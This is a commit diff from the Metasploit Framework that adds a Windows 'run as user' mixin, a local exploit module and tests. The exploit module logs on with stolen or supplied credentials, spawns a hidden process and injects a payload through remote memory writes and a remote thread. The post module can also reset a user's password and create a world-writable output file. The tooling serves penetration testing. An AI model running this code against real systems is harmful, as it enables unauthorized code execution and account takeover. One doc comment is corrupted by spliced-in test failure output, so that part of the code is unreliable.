1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-10-29 18:07:27 +01:00

Land #4649, improve post/windows/manage/run_as and as an exploit

This commit is contained in:
sinn3r 2015-03-27 17:31:30 -05:00
commit 9cfafdd8b8
No known key found for this signature in database
GPG Key ID: 2384DB4EF06F730B
4 changed files with 599 additions and 92 deletions

View File

@ -8,6 +8,12 @@ module Msf::Post::Windows::Runas
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::Powershell
include Msf::Post::Windows::Error
ERROR = Msf::Post::Windows::Error
MAX_PATH = 260
STARTF_USESHOWWINDOW = 0x00000001
SW_HIDE = 0
def shell_execute_exe(filename = nil, path = nil)
exe_payload = generate_payload_exe
@ -34,4 +40,217 @@ module Msf::Post::Windows::Runas
select(nil, nil, nil, 1) until session_created?
end
end
#
# Create a STARTUP_INFO struct for use with CreateProcessA
#
# This struct will cause the process to be hidden
#
# @return [String] STARTUP_INFO struct
#
def startup_info
[0, # cb
0, # lpReserved
0, # lpDesktop
0, # lpTitle
0, # dwX
0, # dwY
0, # dwXSize
0, # dwYSize
0, # dwXCountChars
0, # dwYCountChars
0, # dwFillAttribute
STARTF_USESHOWWINDOW, # dwFlags
SW_HIDE, # wShowWindow
0, # cbReserved2
0, # lpReserved2
0, # hStdInput
0, # hStdOutput
0 # hStdError
].pack('VVVVVVVVVVVVvvVVVV')
end
#
# Call CreateProcessWithLogonW to start a process with the supplier
# user credentials
#
# @note The caller should clear up the handles returned in
# the PROCESS_INFORMATION @return hash.
#
# @param domain [String] The target user domain
# @param user [String] The target user
# @param password [String] The target user password
# @param application_name [String] The executable to be run, can be
# nil
# @param command_line [String] The command line or process arguments
#
# @return [Hash, nil] The values from the process_information struct
#
def create_process_with_logon(domain, user, password, application_name, command_line)
return unless check_user_format(user, domain)
return unless check_command_length(application_name, command_line, 1024)
vprint_status("Executing CreateProcessWithLogonW: #{application_name} #{command_line}...")
create_process = session.railgun.advapi32.CreateProcessWithLogonW(user,
domain,
password,
'LOGON_WITH_PROFILE',
application_name,
command_line,
'CREATE_UNICODE_ENVIRONMENT',
nil,
nil,
startup_info,
16)
if create_process['return']
pi = parse_process_information(create_process['lpProcessInformation'])
print_good("Process started successfully, PID: #{pi[:process_id]}")
else
print_error("Unable to create process, Error Code: #{create_process['GetLastError']} - #{create_process['ErrorMessage']}")
print_error("Try setting the DOMAIN or USER in the format: user@domain") if create_process['GetLastError'] == 1783 && domain.nil?
end
pi
end
#
# Call CreateProcessAsUser to start a process with the supplier
# user credentials
#
# Can be used by SYSTEM processes with the SE_INCREASE_QUOTA_NAME and
# SE_ASSIGNPRIMARYTOKEN_NAME privileges.
#
# This will normally error with 0xc000142 on later OS's (Vista+?) for
# gui apps but is ok for firing off cmd.exe...
#
# @param domain [String] The target user domain
# @param user [String] The target user
# @param password [String] The target user password
# @param application_name [String] Thn executableived :CloseHandle
# with unexpected arguments
# expected: ("testPhToken")
# got: (n be run, can be
# nil
# @param command_line [String] The command line or process arguments
#
# @return [Hash, nil] The values from the process_information struct
#
def create_process_as_user(domain, user, password, application_name, command_line)
return unless check_user_format(user, domain)
return unless check_command_length(application_name, command_line, 32000)
vprint_status("Executing LogonUserA...")
logon_user = session.railgun.advapi32.LogonUserA(user,
domain,
password,
'LOGON32_LOGON_INTERACTIVE',
'LOGON32_PROVIDER_DEFAULT',
4)
if logon_user['return']
begin
ph_token = logon_user['phToken']
vprint_status("Executing CreateProcessAsUserA...")
create_process = session.railgun.advapi32.CreateProcessAsUserA(ph_token,
application_name,
command_line,
nil,
nil,
false,
'CREATE_NEW_CONSOLE',
nil,
nil,
startup_info,
16)
if create_process['return']
begin
pi = parse_process_information(create_process['lpProcessInformation'])
ensure
session.railgun.kernel32.CloseHandle(pi[:process_handle])
session.railgun.kernel32.CloseHandle(pi[:thread_handle])
end
print_good("Process started successfully, PID: #{pi[:process_id]}")
else
print_error("Unable to create process, Error Code: #{create_process['GetLastError']} - #{create_process['ErrorMessage']}")
end
return pi
ensure
session.railgun.kernel32.CloseHandle(ph_token)
end
else
print_error("Unable to login the user, Error Code: #{logon_user['GetLastError']} - #{logon_user['ErrorMessage']}")
end
nil
end
#
# Parse the PROCESS_INFORMATION struct
#
# @param process_information [String] The PROCESS_INFORMATION value
# from the CreateProcess call
#
# @return [Hash] The values from the process_information struct
#
def parse_process_information(process_information)
fail ArgumentError, 'process_information is nil' if process_information.nil?
fail ArgumentError, 'process_information is empty string' if process_information.empty?
pi = process_information.unpack('VVVV')
{ :process_handle => pi[0], :thread_handle => pi[1], :process_id => pi[2], :thread_id => pi[3] }
end
#
# Checks the username and domain is in the correct format
# for the CreateProcess_x WinAPI calls.
#
# @param username [String] The target user
# @param domain [String] The target user domain
#
# @raise [ArgumentError] If the username format is incorrect
#
# @return [True] True if username is in the correct format
#
def check_user_format(username, domain)
fail ArgumentError, 'username is nil' if username.nil?
if domain && username.include?('@')
raise ArgumentError, 'Username is in UPN format (user@domain) so the domain parameter must be nil'
end
true
end
#
# Checks the command_length parameter is the correct length
# for the CreateProcess_x WinAPI calls depending on the presence
# of application_name
#
# @param application_name [String] lpApplicationName
# @param command_line [String] lpCommandLine
# @param max_length [Integer] The max command length of the respective
# CreateProcess function
#
# @raise [ArgumentError] If the command_line is too large
#
# @return [True] True if the command_line is within the correct bounds
#
def check_command_length(application_name, command_line, max_length)
fail ArgumentError, 'max_length is nil' if max_length.nil?
if application_name.nil? && command_line.nil?
raise ArgumentError, 'Both application_name and command_line are nil'
elsif command_line && command_line.length > max_length
raise ArgumentError, "Command line must be less than #{max_length} characters (Currently #{command_line.length})"
elsif application_name.nil? && command_line
cl = command_line.split(' ')
if cl[0] && cl[0].length > MAX_PATH
raise ArgumentError, "When application_name is nil the command line module must be less than MAX_PATH #{MAX_PATH} characters (Currently #{cl[0].length})"
end
end
true
end
end

View File

@ -0,0 +1,126 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
class Metasploit3 < Msf::Exploit::Local
include Msf::Post::Windows::Runas
include Msf::Post::Windows::Priv
def initialize(info = {})
super(update_info(info,
'Name' => "Windows Run Command As User",
'Description' => %q{
This module will login with the specified username/password and execute the
supplied command as a hidden process. Output is not returned by default.
Unless targetting a local user either set the DOMAIN, or specify a UPN user
format (e.g. user@domain). This uses the CreateProcessWithLogonW WinAPI function.
A custom command line can be sent instead of uploading an executable.
APPLICAITON_NAME and COMMAND_LINE are passed to lpApplicationName and lpCommandLine
respectively. See the MSDN documentation for how these two values interact.
},
'License' => MSF_LICENSE,
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Author' => ['Kx499', 'Ben Campbell'],
'Targets' => [
[ 'Automatic', { 'Arch' => [ ARCH_X86 ] } ]
],
'DefaultTarget' => 0,
'References' =>
[
[ 'URL', 'https://msdn.microsoft.com/en-us/library/windows/desktop/ms682431' ]
],
'DisclosureDate' => 'Jan 01 1999' # Not valid but required by msftidy
))
register_options(
[
OptString.new('DOMAIN', [false, 'Domain to login with' ]),
OptString.new('USER', [true, 'Username to login with' ]),
OptString.new('PASSWORD', [true, 'Password to login with' ]),
OptString.new('APPLICATION_NAME', [false, 'Application to be executed (lpApplicationName)', nil ]),
OptString.new('COMMAND_LINE', [false, 'Command line to execute (lpCommandLine)', nil ]),
OptBool.new('USE_CUSTOM_COMMAND', [true, 'Specify custom APPLICATION_NAME and COMMAND_LINE', false ])
], self.class)
end
def exploit
fail_with(Exploit::Failure::BadConfig, 'Must be a meterpreter session') unless session.type == 'meterpreter'
fail_with(Exploit::Failure::NoAccess, 'Cannot use this technique as SYSTEM') if is_system?
domain = datastore['DOMAIN']
user = datastore['USER']
password = datastore['PASSWORD']
if datastore['USE_CUSTOM_COMMAND']
application_name = datastore['APPLICATION_NAME']
command_line = datastore['COMMAND_LINE']
else
command_line = nil
windir = get_env('windir')
# Select path of executable to run depending the architecture
case sysinfo['Architecture']
when /x86/i
application_name = "#{windir}\\System32\\notepad.exe"
when /x64/i
application_name = "#{windir}\\SysWOW64\\notepad.exe"
end
end
pi = create_process_with_logon(domain,
user,
password,
application_name,
command_line)
return unless pi
begin
return if datastore['USE_CUSTOM_COMMAND']
vprint_status('Injecting payload into target process')
raw = payload.encoded
process_handle = pi[:process_handle]
virtual_alloc = session.railgun.kernel32.VirtualAllocEx(process_handle,
nil,
raw.length,
'MEM_COMMIT|MEM_RESERVE',
'PAGE_EXECUTE_READWRITE')
address = virtual_alloc['return']
fail_with(Exploit::Failure::Unknown, "Unable to allocate memory in target process: #{virtual_alloc['ErrorMessage']}") if address == 0
write_memory = session.railgun.kernel32.WriteProcessMemory(process_handle,
address,
raw,
raw.length,
4)
fail_with(Exploit::Failure::Unknown,
"Unable to write memory in target process @ 0x#{address.to_s(16)}: #{write_memory['ErrorMessage']}") unless write_memory['return']
create_remote_thread = session.railgun.kernel32.CreateRemoteThread(process_handle,
nil,
0,
address,
nil,
0,
4)
if create_remote_thread['return'] == 0
print_error("Unable to create remote thread in target process: #{create_remote_thread['ErrorMessage']}")
else
print_good("Started thread in target process")
end
ensure
session.railgun.kernel32.CloseHandle(pi[:process_handle])
session.railgun.kernel32.CloseHandle(pi[:thread_handle])
end
end
end

View File

@ -9,17 +9,18 @@ require 'rex'
class Metasploit3 < Msf::Post
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Runas
def initialize(info={})
def initialize(info = {})
super(update_info(info,
'Name' => "Windows Manage Run Command As User",
'Description' => %q{
'Description' => %q(
This module will login with the specified username/password and execute the
supplied command as a hidden process. Output is not returned by default, by setting
CMDOUT to false output will be redirected to a temp file and read back in to
display.By setting advanced option SETPASS to true, it will reset the users
password and then execute the command.
},
),
'License' => MSF_LICENSE,
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
@ -28,15 +29,16 @@ class Metasploit3 < Msf::Post
register_options(
[
OptString.new('USER', [true, 'Username to reset/login with' ]),
OptString.new('PASS', [true, 'Password to use' ]),
OptString.new('DOMAIN', [true, 'Domain to login with' ]),
OptString.new('USER', [true, 'Username to login with' ]),
OptString.new('PASSWORD', [true, 'Password to login with' ]),
OptString.new('CMD', [true, 'Command to execute' ]),
OptBool.new('CMDOUT', [false, 'Retrieve command output', false]),
OptBool.new('CMDOUT', [true, 'Retrieve command output', false])
], self.class)
register_advanced_options(
[
OptBool.new('SETPASS', [false, 'Reset password', false])
OptBool.new('SETPASS', [true, 'Reset password', false])
], self.class)
end
@ -44,130 +46,83 @@ class Metasploit3 < Msf::Post
# If you elevated privs to system,the SeAssignPrimaryTokenPrivilege will not be assigned. You
# need to migrate to a process that is running as
# system. If you don't have privs, this exits script.
def priv_check
if is_system?
privs = session.sys.config.getprivs
if privs.include?("SeAssignPrimaryTokenPrivilege") and privs.include?("SeIncreaseQuotaPrivilege")
@isadmin = false
return true
else
return false
end
elsif is_admin?
@isadmin = true
return true
else
return false
return privs.include?("SeAssignPrimaryTokenPrivilege") && privs.include?("SeIncreaseQuotaPrivilege")
end
false
end
def reset_pass(user,pass)
def reset_pass(user, password)
begin
tmpout = ""
cmd = "cmd.exe /c net user " + user + " " + pass
r = session.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true})
while(d = r.channel.read)
tmpout << d
break if d == ""
end
r.channel.close
return true if tmpout.include?("successfully")
return false
tmpout = cmd_exec("cmd.exe /c net user #{user} #{password}")
return tmpout.include?("successfully")
rescue
return false
end
end
def run
# set some instance vars
@IsAdmin = false
@host_info = session.sys.config.sysinfo
def touch(path)
write_file(path, "")
cmd_exec("icacls #{path} /grant Everyone:(F)")
end
def run
# Make sure we meet the requirements before running the script, note no need to return
# unless error
return 0 if session.type != "meterpreter"
return unless session.type == "meterpreter"
pi = nil
# check/set vars
setpass = datastore["SETPASS"]
cmdout = datastore["CMDOUT"]
user = datastore["USER"] || nil
pass = datastore["PASS"] || nil
password = datastore["PASSWORD"] || nil
cmd = datastore["CMD"] || nil
rg_adv = session.railgun.advapi32
domain = datastore['DOMAIN']
# reset user pass if setpass is true
if datastore["SETPASS"]
if setpass
print_status("Setting user password")
if !reset_pass(user,pass)
print_error("Error resetting password")
return 0
end
fail_with(Exploit::Failure::Unknown, 'Error resetting password') unless reset_pass(user, password)
end
# set profile paths
sysdrive = session.sys.config.getenv('SYSTEMDRIVE')
os = @host_info['OS']
profiles_path = sysdrive + "\\Documents and Settings\\"
profiles_path = sysdrive + "\\Users\\" if os =~ /(Windows 7|2008|Vista)/
path = profiles_path + user + "\\"
outpath = path + "out.txt"
system_temp = get_env('WINDIR') << '\\Temp'
outpath = "#{system_temp}\\#{Rex::Text.rand_text_alpha(8)}.txt"
# this is start info struct for a hidden process last two params are std out and in.
#for hidden startinfo[12] = 1 = STARTF_USESHOWWINDOW and startinfo[13] = 0 = SW_HIDE
startinfo = [0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0]
startinfo = startinfo.pack("LLLLLLLLLLLLSSLLLL")
# Create output file and set permissions so everyone can access
touch(outpath)
#set command string based on cmdout vars
cmdstr = "cmd.exe /c #{cmd}"
cmdstr = "cmd.exe /c #{cmd} > #{outpath}" if cmdout
# Check privs and execute the correct commands
# if local admin use createprocesswithlogon, if system logonuser and createprocessasuser
# execute command and get output with a poor mans pipe
# Check privs and execute the correct commands
# if user use createprocesswithlogon, if system logonuser and createprocessasuser
# execute command and get output with a poor mans pipe
if priv_check
if @isadmin #local admin
print_status("Executing CreateProcessWithLogonW...we are Admin")
cs = rg_adv.CreateProcessWithLogonW(user,nil,pass,"LOGON_WITH_PROFILE",nil, cmdstr,
"CREATE_UNICODE_ENVIRONMENT",nil,path,startinfo,16)
else #system with correct token privs enabled
print_status("Executing CreateProcessAsUserA...we are SYSTEM")
l = rg_adv.LogonUserA(user,nil,pass, "LOGON32_LOGON_INTERACTIVE",
"LOGON32_PROVIDER_DEFAULT", 4)
cs = rg_adv.CreateProcessAsUserA(l["phToken"], nil, cmdstr, nil, nil, false,
"CREATE_NEW_CONSOLE", nil, nil, startinfo, 16)
print_status("Executing CreateProcessAsUserA...we are SYSTEM")
pi = create_process_as_user(domain, user, password, nil, cmdstr)
if pi
session.railgun.kernel32.CloseHandle(pi[:process_handle])
session.railgun.kernel32.CloseHandle(pi[:thread_handle])
end
else
print_error("Insufficient Privileges, either you are not Admin or system or you elevated")
print_error("privs to system and do not have sufficient privileges. If you elevated to")
print_error("system, migrate to a process that was started as system (srvhost.exe)")
return 0
print_status("Executing CreateProcessWithLogonW...")
pi = create_process_with_logon(domain, user, password, nil, cmdstr)
end
# Only process file if the process creation was successful, delete when done, give us info
# about process
if cs["return"]
tmpout = ""
if cmdout
outfile = session.fs.file.new(outpath, "rb")
until outfile.eof?
tmpout << outfile.read
end
outfile.close
c = session.sys.process.execute("cmd.exe /c del #{outpath}", nil, {'Hidden' => true})
c.close
end
if pi
tmpout = read_file(outpath) if cmdout
pi = cs["lpProcessInformation"].unpack("LLLL")
print_status("Command Run: #{cmdstr}")
print_status("Process Handle: #{pi[0]}")
print_status("Thread Handle: #{pi[1]}")
print_status("Process Id: #{pi[2]}")
print_status("Thread Id: #{pi[3]}")
print_line(tmpout)
else
print_error("Oops something went wrong. Error Returned by Windows was #{cs["GetLastError"]}")
return 0
vprint_status("Process Handle: #{pi[:process_handle]}")
vprint_status("Thread Handle: #{pi[:thread_handle]}")
vprint_status("Process Id: #{pi[:process_id]}")
vprint_status("Thread Id: #{pi[:thread_id]}")
print_status("Command output:\r\n#{tmpout}") unless tmpout.nil?
end
end
end

View File

@ -0,0 +1,207 @@
# -*- coding: binary -*-
require 'spec_helper'
require 'msf/core/post/windows/runas'
describe Msf::Post::Windows::Runas do
let(:process_info) do
"\x01\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00\x04\x00\x00\x00"
end
let(:phToken) do
"testPhToken"
end
let(:advapi32) do
advapi32 = double('advapi32')
advapi32.stub(:CreateProcessWithLogonW).and_return({
'return' => true,
'lpProcessInformation' => process_info
})
advapi32.stub(:CreateProcessAsUserA).and_return ({
'return' => true,
'lpProcessInformation' => process_info
})
advapi32.stub(:LogonUserA).and_return ({
'return' => true,
'phToken' => phToken
})
advapi32
end
let(:kernel32) do
double('kernel32', CloseHandle: nil)
end
let(:subject) do
mod = Module.new
mod.extend described_class
stubs = [ :vprint_status, :print_status, :vprint_good, :print_good, :print_error ]
stubs.each { |meth| mod.stub(meth) }
mod.stub_chain("session.railgun.kernel32").and_return(kernel32)
mod.stub_chain("session.railgun.advapi32").and_return(advapi32)
mod
end
context "#create_process_with_logon" do
it "should return a process_info hash" do
expect(advapi32).to receive(:CreateProcessWithLogonW)
expect(kernel32).not_to receive(:CloseHandle)
pi = subject.create_process_with_logon(nil, 'bob', 'pass', nil, 'cmd.exe')
pi.should be_kind_of(Hash)
pi.should eq(process_handle: 1, thread_handle: 2, process_id: 3, thread_id: 4)
end
it "should return a nil on failure" do
expect(advapi32).to receive(:CreateProcessWithLogonW)
expect(kernel32).not_to receive(:CloseHandle)
advapi32.stub(:CreateProcessWithLogonW).and_return('return' => false, 'GetLastError' => 1783, 'ErrorMessage' => 'parp')
subject.create_process_with_logon(nil, 'bob', 'pass', nil, 'cmd.exe').should be nil
end
end
context "#create_process_as_user" do
it "should return a process_info hash" do
expect(advapi32).to receive(:LogonUserA)
expect(advapi32).to receive(:CreateProcessAsUserA)
expect(kernel32).to receive(:CloseHandle).with(phToken)
expect(kernel32).to receive(:CloseHandle).with(1)
expect(kernel32).to receive(:CloseHandle).with(2)
pi = subject.create_process_as_user(nil, 'bob', 'pass', nil, 'cmd.exe')
pi.should be_kind_of(Hash)
pi.should eq(process_handle: 1, thread_handle: 2, process_id: 3, thread_id: 4)
end
it "should return a nil on failure of create process" do
expect(advapi32).to receive(:LogonUserA)
expect(advapi32).to receive(:CreateProcessAsUserA)
expect(kernel32).to receive(:CloseHandle).with(phToken)
expect(kernel32).not_to receive(:CloseHandle).with(1)
expect(kernel32).not_to receive(:CloseHandle).with(2)
advapi32.stub(:CreateProcessAsUserA).and_return('return' => false, 'GetLastError' => 1783, 'ErrorMessage' => 'parp')
subject.create_process_as_user(nil, 'bob', 'pass', nil, 'cmd.exe').should be nil
end
it "should return a nil on failure of logon user" do
expect(advapi32).to receive(:LogonUserA)
expect(advapi32).not_to receive(:CreateProcessAsUserA)
expect(kernel32).not_to receive(:CloseHandle).with(phToken)
expect(kernel32).not_to receive(:CloseHandle).with(1)
expect(kernel32).not_to receive(:CloseHandle).with(2)
advapi32.stub(:LogonUserA).and_return('return' => false, 'GetLastError' => 1783, 'ErrorMessage' => 'parp')
subject.create_process_as_user(nil, 'bob', 'pass', nil, 'cmd.exe').should be nil
end
end
context "#startup_info" do
it "should be 68 bytes" do
subject.startup_info.size.should eq(68)
end
it "should return SW_HIDE=0 and STARTF_USESHOWWINDOW=1" do
si = subject.startup_info.unpack('VVVVVVVVVVVVvvVVVV')
si[11].should eq(1)
si[12].should eq(0)
end
end
context "#parse_process_information" do
it "should return a hash when given valid data" do
pi = subject.parse_process_information(process_info)
pi.should be_kind_of(Hash)
pi.should eq(process_handle: 1, thread_handle: 2, process_id: 3, thread_id: 4)
end
it "should return an exception when given an empty string" do
expect { subject.parse_process_information("") }.to raise_error
end
it "should return an exception when given an nil value" do
expect { subject.parse_process_information(nil) }.to raise_error
end
end
context "#check_user_format" do
let(:upn_username) do
"bob@flob.com"
end
let(:domain_username) do
"flob\\bob"
end
let(:domain) do
"flob"
end
it "should return an exception when username is nil" do
expect { subject.check_user_format(nil, domain) }.to raise_error
end
it "should return an exception when UPN format and domain supplied" do
expect { subject.check_user_format(upn_username, domain) }.to raise_error
end
it "should return true when UPN format and domain is nil" do
subject.check_user_format(upn_username, nil).should be true
end
it "should return true when domain format and domain is nil" do
subject.check_user_format(domain_username, nil).should be true
end
it "should return true when domain format and domain supplied" do
subject.check_user_format(domain_username, domain).should be true
end
end
context "#check_command_length" do
let(:max_length) do
1024
end
let(:max_path) do
256
end
let(:large_command_module) do
("A" * max_path + 1) + " arg1 arg2"
end
let(:normal_command_module) do
("A" * max_path) + " arg1 arg2"
end
let(:large_command_line) do
"A" * max_length + 1
end
let(:normal_command_line) do
"A" * max_length
end
let(:application_name) do
"c:\\windows\\system32\\calc.exe"
end
it "should raise an exception when max_length is nil" do
expect { subject.check_command_length(nil, nil, nil) }.to raise_error
end
it "should raise an exception when application_name and command_line are nil" do
expect { subject.check_command_length(nil, nil, max_length) }.to raise_error
end
it "should return true when application_name is set and command_line is nil" do
subject.check_command_length(application_name, nil, max_length).should be true
end
it "should return true when application_name is set and command_line is max_length" do
subject.check_command_length(application_name, normal_command_line, max_length).should be true
end
it "should raise an exception when command_line is larger than max_length" do
expect { subject.check_command_length(nil, large_command_line, max_length) }.to raise_error
end
it "should raise an exception when application_name is nil command_line module is larger than MAX_PATH" do
expect { subject.check_command_length(nil, large_command_module, max_length) }.to raise_error
end
it "should return true when application_name is nil and command_module is less than MAX_PATH" do
subject.check_command_length(nil, normal_command_module, max_length).should be true
end
end
end